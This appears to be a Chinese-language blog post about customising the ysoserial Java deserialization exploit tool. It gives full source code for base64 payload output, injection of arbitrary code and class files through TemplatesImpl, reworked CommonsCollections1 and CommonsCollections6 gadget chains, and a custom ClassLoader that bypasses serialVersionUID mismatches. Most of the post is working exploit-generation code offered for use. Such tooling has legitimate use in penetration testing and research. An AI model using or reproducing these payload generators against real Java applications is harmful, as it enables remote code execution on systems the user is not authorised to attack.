ysoserial改造
前言
最近感觉有点迷茫,不知道学啥。就想着找点事做,把ysoserial个性化改造一下。
支持base64编码
如果是在linux
中,这个功能没啥存在的必要,但是因为我的主系统是windows
,并且日常懒得开虚拟机,所以就简单实现一下这个功能。除此之外,还想通过实现这个功能,简单了解一下ysoserial
的结构及大致运行流程,为后面实现更复杂的功能做铺垫。
先放一下实现效果
ysoserial
的主类是GeneratePayload
,直接看到该类的main
方法
流程比较明了,当参数不是两个时就会退出,否则就把第一个参数当作类名,第二个参数当作命令。然后就是实例化payload
类并调用其getObject
方法获取恶意对象,序列化对象及输出是通过Serializer#serialize
实现。
这里我的想法是写一个Serializer#base64Serialize
方法,当传入参数大于2且第二个参数为base64
时就会将第三个参数作为command
,然后调用base64Serialize
输出base64
编码的序列化流。细节不过多阐述,直接上代码
//GeneratePayload.class
public static void main(final String[] args) {
if (args.length < 2) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
String command = args[1];
if(args.length>2 && args[1].equals("base64")){
command=args[2];
}else if(args.length>2 && !args[1].equals("base64")){
printUsage();
System.exit(USAGE_CODE);
}
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
if(args.length>2){
Serializer.base64Serialize(object);
}else {
Serializer.serialize(object, out);
}
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
//Serializer.class
public static void base64Serialize(final Object obj) throws IOException {
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(obj);
final String stringpayload=new String(Base64.getEncoder().encode(ser.toByteArray()));
System.out.println(stringpayload);
}
目前就只实现了一下base64
编码的功能,后面有精力的话应该会写一个编码模块。
支持执行自定义代码
这个功能已经有师傅实现过了,我就直接踩在巨人的肩膀上实践了。为什么要实现这个功能,大师傅们已经说得很清楚了,我这里也就不再赘述。
这里实现了三种方式来执行自定义代码
code:代码
这种方式主要用于代码量比较小时使用codebase64:base64编码的代码
当代码中有引号,双引号,&等字符用该方式classfile:path
直接读取class文件,最推荐的方式,非常实用。
要实现执行自定义代码,离不开TemplatesImpl
,所以看到Gadfets#createTemplatesImpl
逻辑比较简单,就是将我们传入的命令(cmd)拼接到java.lang.Runtime.getRuntime().exec()
中,然后将该代码插入到生成的类的静态构造方法中,然后构造TemplatesImpl
对象。那么要实现执行自定义代码其实很简单,只需要控制插入静态构造方法的语句就行,前两种方法就是基于这种原理,简单写一下
if(command.startsWith("code:")){
cmd=command.substring(5);
}else if(command.startsWith("codebase64:")){
cmd=new String(Base64.getDecoder().decode(command.substring(7)));
}else if(command.startsWith("classfile:")){
......
}else {
cmd="java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
}
clazz.makeClassInitializer().insertAfter(cmd);
第三种方式的实现方法也不难,读取class
文件的内容,返回一个byte[]
,然后利用其生成一个TemplatesImpl
对象即可
else if(command.startsWith("classfile:")){
byte[] bytes=CommonUtils.getClassBytecode(command.substring(10));
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
bytes, ClassFiles.classAsBytes(Foo.class)
});
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
然后这里获取class文件的内容写了一个getClassBytecode
方法
public static byte[] getClassBytecode(String filename) throws IOException {
File classFile=new File(filename);
if(!classFile.exists()){
throw new FileNotFoundException(filename);
}
byte[] buffer = null;
FileInputStream fileInputStream=new FileInputStream(classFile);
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream((int) classFile.length());
byte[] b = new byte[(int) classFile.length()];
int n;
while ((n = fileInputStream.read(b)) != -1) {
byteArrayOutputStream.write(b, 0, n);
}
fileInputStream.close();
byteArrayOutputStream.close();
buffer = byteArrayOutputStream.toByteArray();
return buffer;
}
以第三种方法为例看一下实现效果
可以看到这里我用的cc3的链子,为什么不用常用的cc6呢,因为ysoserial中cc6的exp直接调用的java.lang.Runtime
的exec
方法,而不是使用的TemplatesImpl
动态加载字节码,所以这里将yseserial中的cc6和cc1改一改
cc1temp
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1Temp extends PayloadRunner implements ObjectPayload<InvocationHandler>{
public InvocationHandler getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
ConstantTransformer.getInstance(templatesImpl),
InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections1Temp.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
cc6temp
package ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CommonsCollections6Temp extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
ConstantTransformer.getInstance(templatesImpl),
InvokerTransformer.getInstance("newTransformer",new Class[0],new Object[0])
};
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6Temp.class, args);
}
}
解决serialVersionUid不一致
解决serialVersionUid
前面也学习过了,这里就将利用自定义ClassLoader
解决该问题的功能集成到ysoserial
中
MyClassLoader
package ysoserial.payloads.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Map;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
public class MyClassLoader extends ClassLoader{
private Map<String,byte[]> classMap=new HashMap<String,byte[]>();
private Map<String, Class> cacheClass = new HashMap<String,Class>();
//将serialVersionUID不一致的class直接加入classloader
public void addClass(String classname,byte[] bytecode){
classMap.put(classname,bytecode);
}
//将依赖版本不一致的jar直接加入classloader
public void addJar(JarFile jarFile) throws IOException {
Enumeration<JarEntry> entryEnumeration=jarFile.entries();
JarEntry entry=null;
while (entryEnumeration.hasMoreElements()){
entry = (JarEntry)entryEnumeration.nextElement();
//只对.class文件进行处理
if(entry.getName().contains(".class")){
//获取classname
String classname=entry.getName().replace(".class","").replace("/",".");
if(this.findLoadedClass(classname) != null){
continue;
}
//获取字节码
InputStream inputStream=jarFile.getInputStream(entry);
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int bytesNumRead = 0;
while ((bytesNumRead = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, bytesNumRead);
}
byte[] bytecode=byteArrayOutputStream.toByteArray();
inputStream.close();
//将获取的classname和字节码存进classmap
classMap.put(classname,bytecode);
}
}
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] bytecode=classMap.get(name);
if(bytecode==null){
throw new ClassNotFoundException();
}else{
return super.defineClass(name,bytecode,0, bytecode.length);
}
}
@Override
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
Class clazz=cacheClass.get(name);
if(null!=clazz){
return clazz;
}
try {
clazz = findClass(name);
if (null != clazz) {
cacheClass.put(name, clazz);
}else{
clazz = super.loadClass(name, resolve);
}
} catch (ClassNotFoundException e) {
clazz = super.loadClass(name, resolve);
}
if(resolve){
resolveClass(clazz);
}
return clazz;
}
}
public void cleanLoader(){
if (classMap != null){
classMap.clear();
}
if (cacheClass != null){
cacheClass.clear();
}
}
}
然后对GeneratePayload.java
进行修改
package ysoserial;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.InvocationTargetException;
import java.util.*;
import javassist.CannotCompileException;
import javassist.NotFoundException;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes")
public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64;
public static void main(final String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException {
if (args.length < 2||args.length>4) {
printUsage();
System.exit(USAGE_CODE);
}
final String payloadType = args[0];
String command = args[1];
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'");
printUsage();
System.exit(USAGE_CODE);
return; // make null analysis happy
}
if(args.length>2 && args[1].equals("base64")){
command=args[args.length-1];
if(args[2].startsWith("sameUID:")){
String jarpath=args[2].substring(8);
Serializer.sameUIDSerialize(payloadClass,jarpath,command,true);
}
}else if(args.length>2 && args[1].startsWith("sameUID:")){
command=args[args.length-1];
String jarpath=args[1].substring(8);
Serializer.sameUIDSerialize(payloadClass,jarpath,command,false);
}else if(args.length>2 && !args[1].equals("base64")){
printUsage();
System.exit(USAGE_CODE);
}
try {
final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command);
PrintStream out = System.out;
if(args.length>2 && args[1].equals("base64")){
Serializer.base64Serialize(object);
}else {
Serializer.serialize(object, out);
}
ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload");
e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE);
}
System.exit(0);
}
private static void printUsage() {
System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] [base64] [sameUID:jarpath] '[command]'");
System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
rows.add(new String[] {
payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
}
final List<String> lines = Strings.formatTable(rows);
for (String line : lines) {
System.err.println(" " + line);
}
}
}
最后在Serializer
中添加上我们的sameUIDSerialize
方法
public static void sameUIDSerialize(final Class<? extends ObjectPayload> payloadClass, String jarpath, String command, boolean flag) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
String className=payloadClass.getName();
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.get(className);
byte[] bytecode=ctClass.toBytecode();
MyClassLoader myClassLoader=new MyClassLoader();
myClassLoader.addClass(className,bytecode);
JarFile jarFile=new JarFile(jarpath);
myClassLoader.addJar(jarFile);
Class payloadClasss=myClassLoader.loadClass(className);
Object objPayload = null;
Object objGadget = payloadClasss.newInstance();
Method getObject = objGadget.getClass().getDeclaredMethod("getObject",new Class[]{String.class});
objPayload = getObject.invoke(objGadget,command);
myClassLoader.cleanLoader();
ByteArrayOutputStream ser = new ByteArrayOutputStream();
ObjectOutputStream oser = new ObjectOutputStream(ser);
oser.writeObject(objPayload);
oser.close();
if(flag){
System.out.println(new String(Base64.getEncoder().encode(ser.toByteArray())));
}else {
System.out.println(new String(ser.toByteArray()));
}
System.exit(0);
}
看一下效果
参考链接
http://wjlshare.com/archives/1575